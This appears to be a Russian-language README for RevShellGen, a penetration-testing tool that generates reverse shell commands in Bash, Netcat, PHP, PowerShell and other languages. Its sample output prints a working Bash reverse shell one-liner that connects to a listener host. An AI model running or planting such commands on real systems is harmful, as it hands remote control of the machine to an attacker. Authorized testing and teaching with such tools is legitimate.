
Генератор обратной оболочки, написанный на Python 3.
Генератор обратных оболочек
Автоматизируйте создание обратных оболочек со стилем
Генерируйте, кодируйте и ловите обратные оболочки без лишних хлопот
Возможности • Установка • Использование • Поддерживаемые оболочки • Участие в разработке
RevShellGen — это мощный инструмент командной строки, который упрощает процесс генерации команд обратных оболочек. Больше не нужно искать синтаксис, вручную кодировать или настраивать конфигурацию. Этот инструмент справляется со всем через интуитивно понятный интерфейс.
# Install from PyPI
pip install revshellgen
# Run the tool
revshellgen
# Clone the repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Install dependencies
pip3 install -r requirements.txt
# Run the tool
python3 revshellgen.py # or python3 revshellgen_cli.py
RevShellGen требует следующие пакеты Python:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# You may need to install python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Install ncat for better listener support
brew install nmap # Includes ncat
Запустите инструмент
python3 revshellgen.py
Настройте обратную оболочку
Сгенерированная команда автоматически копируется в буфер обмена
Запустите слушатель (автоматически)
Выполните команду на целевой машине
![]() Выбор оболочки |
![]() Генерация команды |
| Тип оболочки | Описание | Платформа |
|---|---|---|
| Bash | Bash TCP обратная оболочка | Linux/Unix |
| Python | Обратная оболочка на Python | Кроссплатформенная |
| Netcat | Традиционная обратная оболочка nc | Linux/Unix |
| Netcat mkfifo | Netcat с именованным каналом | Linux/Unix |
| Perl | Обратная оболочка на Perl | Кроссплатформенная |
| PHP | Обратная оболочка на PHP | Кроссплатформенная |
| Ruby | Обратная оболочка на Ruby | Кроссплатформенная |
| Java | Обратная оболочка на Java | Кроссплатформенная |
| AWK | Обратная оболочка на AWK | Linux/Unix |
| Socat | Обратная оболочка Socat | Linux/Unix |
| Socat TTY | Socat с полным TTY | Linux/Unix |
| Telnet | Обратная оболочка Telnet | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |
RevShellGen теперь включает исчерпывающие инструкции по улучшению TTY. После получения оболочки инструмент предоставляет:
Инструмент автоматически обнаруживает и использует подходящую версию netcat:
ncat (предпочтительно, из пакета nmap)nc (традиционный netcat)nc для macOS$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ ВЫБЕРИТЕ IP ] ----------
[ x ] 192.168.1.10 on eth0
[ ] 10.0.0.5 on tun0
[ ] Указать вручную
---------- [ УКАЖИТЕ ПОРТ ] ----------
[ # ] Введите номер порта : 4444
---------- [ ВЫБЕРИТЕ КОМАНДУ ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ КОМАНДА ОБРАТНОЙ ОБОЛОЧКИ ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Команда скопирована в буфер обмена!
[ + ] Запуск слушателя на порту 4444...
Приветствуются любые вклады! Пожалуйста, свободно отправляйте запросы на включение изменений (Pull Request). Для серьёзных изменений сначала откройте issue, чтобы обсудить, что вы хотите изменить.
# Clone your fork
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen
# Create a branch
git checkout -b feature/your-feature-name
# Make your changes and commit
git add .
git commit -m "Add your feature"
# Push to your fork
git push origin feature/your-feature-name
# Create a Pull Request
Нашли ошибку или есть предложение? Пожалуйста, откройте issue на GitHub.
Этот проект лицензирован под GNU General Public License v3.0 — подробности в файле LICENSE.
Этот инструмент предназначен только для авторизованного тестирования на проникновение и образовательных целей.
Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этой программой.